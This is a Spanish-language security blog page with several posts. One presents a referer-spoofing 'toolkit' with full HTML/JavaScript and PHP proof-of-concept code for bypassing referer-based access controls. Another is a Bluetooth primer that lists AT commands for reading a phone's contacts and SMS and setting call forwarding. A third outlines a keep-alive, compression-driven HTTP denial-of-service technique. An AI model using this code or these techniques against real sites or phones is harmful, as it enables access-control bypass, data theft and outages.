Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

RAT (Referer Assault Toolkit)

Twitter icon Twitter icon
RAT o Rata, es un proyecto que estamos desarrollando para demostrar como mediante javascript simple y/o un poco de PHP, y un poco de ingenio se puede spoofear básicamente cualquier referer, esto únicamente con la finalidad de demostrar la inseguridad que tienen los sistemas que utilizan esto para control de accesos. Como muchos sabrán los sistemas anti-leech monitorizan el Referer, de modo que si este no pertenece a determinado dominio, inmediatamente muestra la clásicamente imagen de que les están robando banda y la url de la web a la cual pertenece, de modo que esta técnica podría ser utilizada para saltar esa clase de protecciones, pero de momento solo mostraremos una prueba de concepto con una web programada para este fin.

Primero que nada una captura del inicio:


Después la pagina que enlaza de algún modo a nosotros (al dominio que si tenemos permisos con javascript):


Entramos a la web que nosotros si controlamos (dando clic al enlace) :


Como podrán ver Rata, ya capturo el Referer y nos lo muestra, ahora vamos a usarlo:


Como podrán ver nos marca que referer podemos usar, necesitamos escribir la url que se va a cargar con dicho Referer y dar clic en el referer a usar, ahora otra cosa que hay que remarcar es que la ventana que abrimos y que se encuentra actualmente mostrando el menaje de la Rata se utilizara para cargar la web con el Referer que indiquemos, así que esta no tiene que ser cerrada hasta finalizar.


Y listo, rata ha robado el Referer de http://192.168.1.79/vuln.html.

ahora me dirán: "ah que chido, pero el usuario tiene que dar clic...", bueno esta solo es una prueba de concepto, en si hay otro modulo de rata que permite insertarse como avatar y ser utilizado para robar el Referer, pero de momento únicamente publicare el modulo que les mostré, primero que nada el refhack.php:



<html><head><title>Rata By Xianur0 - Los Caballeros' blog</title><script language="JavaScript">var id = 1;window.onblur = function(){  setTimeout(actualizaratas, 500);}function lanzarrata(pagina) { var opciones=""; return window.open(pagina,"",opciones);}var ratas = new Array();function activarrata(rata,url) { setcookie('rata', 1); setcookie('nueva', url); rata.location.reload();}function setcookie(nombre, valor) {       document.cookie = nombre + "=" + escape(valor);  }  function actualizaratas() { var html = ''; var contador = 1; for (var rata in ratas) {  try {  var cookies = ratas[rata].document.cookie;  html += '<b>' + contador + '</b> <a href="#" onclick="activarrata(ratas[\'' + rata + '\'],document.getElementById(\'nuevaurl\').value)">' + rata + '\n<br>';  contador++;  } catch(err) {     } } var camporatas = document.getElementById('ratas'); if(html == '') html = 'Ninguna'; camporatas.innerHTML = html;}</script></head><body><center><h1>Rata by Xianur0 - Los Caballeros' blog</h1>Referer a robar: <input type="text" id='url'><input value = 'Iniciar' type="button" onclick="ratas[escape(document.getElementById('url').value)] = lanzarrata(document.getElementById('url').value);"><br /><br />URL a redirigir: <input type="text" id='nuevaurl'><input value = 'Establecer' type="button" onclick="setcookie('nueva',document.getElementById('nuevaurl').value);"><br /><br /><a href="#" onclick="actualizaratas();">Actualizar ratas</a><br /><b>Ratas disponibles: </b><div id='ratas'>Ninguna</div><br /><br /><br /></center><div align="right"><a href="http://hackingtelevision.blogspot.com/">Los Caballeros</a><br /></div></body></html>


Ahora el rata.php:

<?phpif($_COOKIE['rata'] == 1 && !empty($_COOKIE['nueva'])) { header("Location: ".$_COOKIE['nueva'],TRUE,302); header('Set-Cookie: rata = 0; nueva = ""');}else { print "<b>Rata te observa: ".htmlentities($_SERVER['HTTP_REFERER'])." :P</b>";}?>

Saludos!

blutud (Bluetooth) XD

Twitter icon Twitter icon
Bueno jovenes lo prometido es deuda asi que les pongo la primera parte de una serie de episodios explicando un poco lo que son algunas de las cuestiones referentes a lo que es el protocolo Bluetooth y he aqui algo para que lean en la semanita estaré haciendo escritos semanales (eso me sonó a esas revistas q salen en los puestos de periodicos XD pero en fin) asi que espero que les guste.

El nombre Bluetooth procede del rey danés del siglo X llamado Harald Blatand (traducido como Harold Bluetooth), conocido por ser un gran orador y unificar las tribus en guerra de Noruega, Suecia y Dinamarca e iniciar el proceso de cristianización de la sociedad vikinga, o también se podría decir que fue un rollero cabrón .

El logotipo del Bluetooth surge de la combinación de las runas nórdicas análogas a las letras B y H: (Hagall) y (Berkanan).

En 1998, Ericsson, IBM, Intel, Toshiba y Nokia formaron un consorcio y adoptaron Bluetooth como nombre para su especificación; posteriormente en diciembre de 1999, 3Com, Lucent, Microsoft y Motorola se unieron a dicho grupo como promotores del Bluetooth SIG (Special Interest Group).
Más adelante Lucent transfirió su participación a su satélite Agere Systems y 3Com deja la agrupación de promotores. Agere Systems se fusiona con la LSI Corporation y abandona el grupo en agosto de 2007.

El Bluetooth SIG es una asociación privada sin ánimo de lucro con sede en Bellevue, Washington. En septiembre de 2007, el SIG se conformó por más de 9000 compañías de telecomunicaciones, informática, automovilismo, música, textil, automatización industrial y tecnologías de red; conformando pequeños grupos de personal dedicado al grupo en Hong Kong, Suecia y Estados Unidos.

Los miembros del SIG dirigen el desarrollo de la tecnología inalámbrica Bluetooth, además de implementar y comercializar la tecnología en sus productos; SIG por sí mismo no fabrica ni vende dispositivos Bluetooth.

Bluetooth es la especificación que define un estándar global de comunicaciones inalámbricas para redes PAN (Personal Area Network) que permite la transmisión de voz (manos libres de un celular) y datos entre diferentes equipos (imágenes, texto y música entre dispositivos) mediante un enlace por radiofrecuencia en entornos de comunicaciones móviles y estáticas.

El sistema Bluetooth trabaja a 2.4 GHz de la banda ISM (Industrial, Scientific and Medical) disponible a nivel mundial y que no requiere licencia de operador, lo que significa una compatibilidad universal entre dispositivos Bluetooth, los cuales se divide en 3 niveles de potencia:
Clase 1: 100 mW, con un rango de ~100 m. También 125 –150m. Clase 2: 2.5 mW, con un rango de ~10 m. Clase 3: 1 mW, con un rango de ~1 m. CLARO QUE CABE DESTACAR QUE ESTO FUE PROBADO EN CONDICIONES IDEALES, SIN INTERFERENCIAS EXTERNAS COMO SEÑALES DE RADIO, WI-FI, TELEVISIÓN, DISTANCIA, ETC., PERO HAY QUE ACLARAR DEPENDE DE MUCHO DEL ÁREA DONDE SE REALICEN COMUNICACIONES DE ESTE SISTEMA POR EL USUARIO FINAL. En cuanto a su topología se encuentran las siguientes: •Bluetooth una tecnología de redes PAN (Personal Area Network). •Comunicación stand-alone a nivel mundial entre dos dispositivos. •Hasta 8 dispositivos se pueden conectar formando una Piconet. •La unión de varias Piconetsse denomina Scatternet.


Pero no olvidemos que existen otras formas de llamar a estas dependiendo de la información que se requieran tales como:

Enlace asíncrono sin conexión (ACL) para transmisión de datos.
Enlace síncrono orientado a conexión (SCO) para tráfico de audio y datos.

Por otra parte cada vez encontramos más sistemas con tecnología Bluetooth que van desde un simple celular hasta lo que son impresoras, PDA’s, auriculares entre otros; siendo el primero el de uso común en nuestra sociedad.

En cuanto a su “Pila de protocolos” refiriéndonos a lo que es un proveedor de información, y lo que es un receptor del mismo se clasifica de la siguiente manera:
•MÓDULO Bluetooth: Encargado del interfaz de radiofrecuencia
•HOST Bluetooth: Encargado de las capas superiores de enlace y aplicación
Y estas mismas reciben una clasificación específica dependiendo del fabricante de este. Windows Stacks: Widcomm, Toshiba, Microsoft Windows XP, IVT Bluesoleil. Linux Stacks: BlueZ, OpenBT, Affix (Nokia). Sin embargo el idóneo para el Sistema Operativo Linux es BlueZ, la cual está diseñada para auditoría de seguridad en dispositivos Bluetooth.

El proyecto Open Source http://www.bluez.org incluye un conjunto de herramientas para funciones Bluetooth, las cuales, son para el manejo del dispositivo Bluetooth dentro del Sistema Operativo Linux, que son mostradas a continuación:

Bluepin: Gestión de suministro del PIN en emparejamientos.

Hciconfig: Configuración de dispositivos Bluetooth locales.

Hcidump: Sniffer local de tráfico HCI.

Hcitool: Gestión del descubrimiento y enlace con otros dispositivos.

L2ping: Envío de solicitudes echo respuesta nivel L2CAP.

Rfcomm: Gestión de conexiones RFCOMM.

Sdptool: Gestión de SDP y descubrimiento de servicios Bluetooth.

Proporciona librerías para el desarrollo de aplicaciones. bluez-libs-devel Ya manejando un poco de los mecanismos de seguridad, los cuales se divide en tres, tales como:

Autenticación
Aquí el sistema Bluetooth checa su identidad en otro dispositivo para poder obtener los servicios que ofrece. •Emparejamiento de dispositivos: •Intercambio de PIN •Generación de la clave de enlace (linkkey)

Autorización
Estos servicios son los que determinan los derechos que tiene un dispositivo Bluetooth, para poder tener acceso a los servicios que ofrece un sistema se realizan mediante los siguientes estados de este mismo como se presentan a continuación: • Se gestiona por medio de la LISTA DE DISPOSITIVOS DE CONFIANZA o DISPOSITIVOS DE CONFIANZA: acceso sin restricciones o DISPOSITIVOS NO CONFIABLES: requieren autorización Cifrado de datos Este método garantiza la confidencialidad de la información transmitida sobre un enlace Bluetooth mediante una clave cifrada. También tenemos los parámetros conocidos como los “COMANDOS AT GSM”, los cuales, son un juego de instrucciones codificadas que permiten configurar el teléfono móvil, sobrepasando inclusive los sistemas de seguridad antes mencionados. Entre sus características más destacadas es que se encuentran basados en los comandos AT –Hayes la cual es una configuración de módems (1977), que permiten establecer una ordenación en la terminal (modo comando) y enviarle instrucciones a ejecutar al teléfono con dispositivo Bluetooth, el soporte viene dado por el equipo; estos comandos son ejecutados con independencia del canal de comunicaciones: Bluetooth, IrDA (infrarrojo), Puerto Serie, entre otros y mientras que en Bluetooth se accede a la capa de comandos AT a través de RFCOMM. Algunos ejemplos de estos mismos son los siguientes: AT+CGMI: Identificación del fabricante AT+CGMM: Identificación del modelo AT+CPBR=1: Devuelve la primera entrada en la agenda de contactos AT+CPBS=“MC”;+CPBR=1: Devuelve la última llamada perdida AT+CMGR=1: Devuelve el primer mensaje SMS en bandeja de entrada ATD619000000;: Realiza una llamada de voz a un número de teléfono AT+CCFC=0,3,+34619000000,145,7: Configura un desvío de llamadas La implementación de estos “Comandos AT” en los teléfonos se hace mediante diferentes bloques como: • Bloque básico: Información y configuración del terminal (modo comando de la computadora), llamadas. • Bloque de gestión de la agenda de contactos: leer, añadir, eliminar, etc. La respectiva agenda del celular en nuestro caso. • Bloque de gestión de mensajes SMS y multimedia: leer, eliminar, enviar, etc. Con lo anteriormente dicho, se puede apreciar los sistemas de seguridad con los que se cuenta para los sistemas Bluetooth en los dispositivos móviles, es relativamente bueno, aunque también nadie garantiza que un sistema, cual fuese este, sea 100% seguro. Siempre debemos plantear la probabilidad de que un individuo pueda violar los sistemas de seguridad, como lo comenta Vincent Gullotto Vicepresidente de McAfee AVERT(AntiVirus Research and Vulnerability Emergency Response Team):


“La era de los virus por envío masivo terminó y ha empezado la era de los ataques a teléfonos móviles o celulares”.

Y lo anteriormente dicho debe hacer pensar que cada persona, hasta qué punto puede ser seguro su celular, y en caso de no serlo, que afectaciones puede traer como consecuencia la inseguridad del mismo.

Espero que con eso tengan algo de lectura en la semana para que puedan entretenerse un poco cualquier duda que tengan dejen su comentario y/o manden un mail.


Más publicaciones Bluetooth dar clic aquí

Conexiones persistentes y ataques DoS

Twitter icon Twitter icon
HTTP/1.1 tiene entre otras novedades el uso de conexiones persistentes (o conexiones vivas), las cuales en resumen son lo siguiente:
  1. Se utiliza una misma conexión para varios diálogos HTTP.
  2. Al re-utilizarse una misma conexión para todos los diálogos se ahorra tiempo y recursos al no necesitar finalizar la conexión y crear otra.
  3. El HTTP Pipelining, nos permita enviar todas las consultas de forma consecutiva sin tener que esperar la respuesta del servidor antes de enviar otra, lo cual nos permite enviar las consultas de forma rápida y obtener las respuestas a todas las consultas de una sola vez.
  4. Gran cantidad de servidores de cache no soportan conexiones persistentes, asi que aun consultas repetidas no utilizaran cache (en ciertas ocaciones).
Teniendo todo esto en cuenta, procedemos a diseñar una tecnica de DoS.

Otras "desventajas" que tienen muchos servidores que utilizan PHP es que este tiene instalado librerías para compresión, las cuales tienen la ventaja de que ahorran ancho de banda, pero gastan cierta cantidad de recursos adicionales a los que la carga normal de la pagina conlleva, por lo cual, si nosotros realizamos un envío masivo de paquetes por conexiones persistentes haremos trabajar al servidor muchas mas veces que las que un usuario normal haría. Además de todo esto, si tomamos en cuenta que la mayoría de los sistemas de firewall contra ataques de denegación de servicio que existen únicamente cuentan la cantidad de conexiones que se realizan, no detectaran esta clase de ataques, puesto que no utilizan gran cantidad de conexiones, además de que no representa gran consumo de banda de subida, por lo cual aun teniendo una conexión de hogar podemos denegar a servidores profesionales. En el x25 realice una prueba de concepto en la cual mediante 10 conexiones se denegó un servidor con 3 GB's de ram y doble núcleo, mediante esta técnica (gracias al voluntario que nos presto su PC para el PoC y proximamente vídeos y/o fotos de mi conferencia :P) en cuestión de 2 segundos.

Como forzamos a un servidor a utilizar las librerías de compresión si este las tiene instaladas?, simple utilizando la cabecera que fue diseñada para este proposito: Accept-Encoding. En esta especificaremos las compresiones que le daremos a elegir al servidor a utilizar.

Accept-Encoding: gzip,deflate

Ahora otro dato curioso, en la prueba de concepto realizada en x25 se utilizo un servidor Apache2, con conexiones persistentes activadas y un joomla.


uno de los defectos que tiene joomla es la gran cantidad de consultas SQL que realiza, ahora agregando a esto la cabecera: CLIENT-IP, podemos realizar unas cuantas mas, adicional a todo esto, si se realizan conexiones persistentes el PHP se ejecutara cuantas consultas enviemos. A esto agregándole el hecho de que básicamente todos los servidores en internet no tienen configurado un limite de paquetes por conexión persistente, podemos realizar un envío masivo de paquetes HTTP especialmente diseñados para consumir los recursos del servidor, ahora otro detalle que tienen los servidores Apache y similares, es que despliegan hilos cada vez que detectan que hay demasiadas consultas HTTP, los cuales consumen bastante memoria, entre mas hilos haya en memoria mas haremos trabajar al servidor y por consiguiente el servidor podrá cada vez atender menos consultas. A esto agreguemos el hecho de que el servidor de SQL esta saturado de consultas.


PoC proximamente.

Hacking TeleVision

Twitter icon Twitter icon
Bueno jóvenes aqui Angelus pidiendo disculpas por lo del x25 que pues me faltó poner cosas pero bueno ya saben que sucedió y en la semana subiré info referente al tema de ponencia tambien pondré algunas cosas de bricolaje para que puedan armar herramientas prácticas para su uso.

Gracias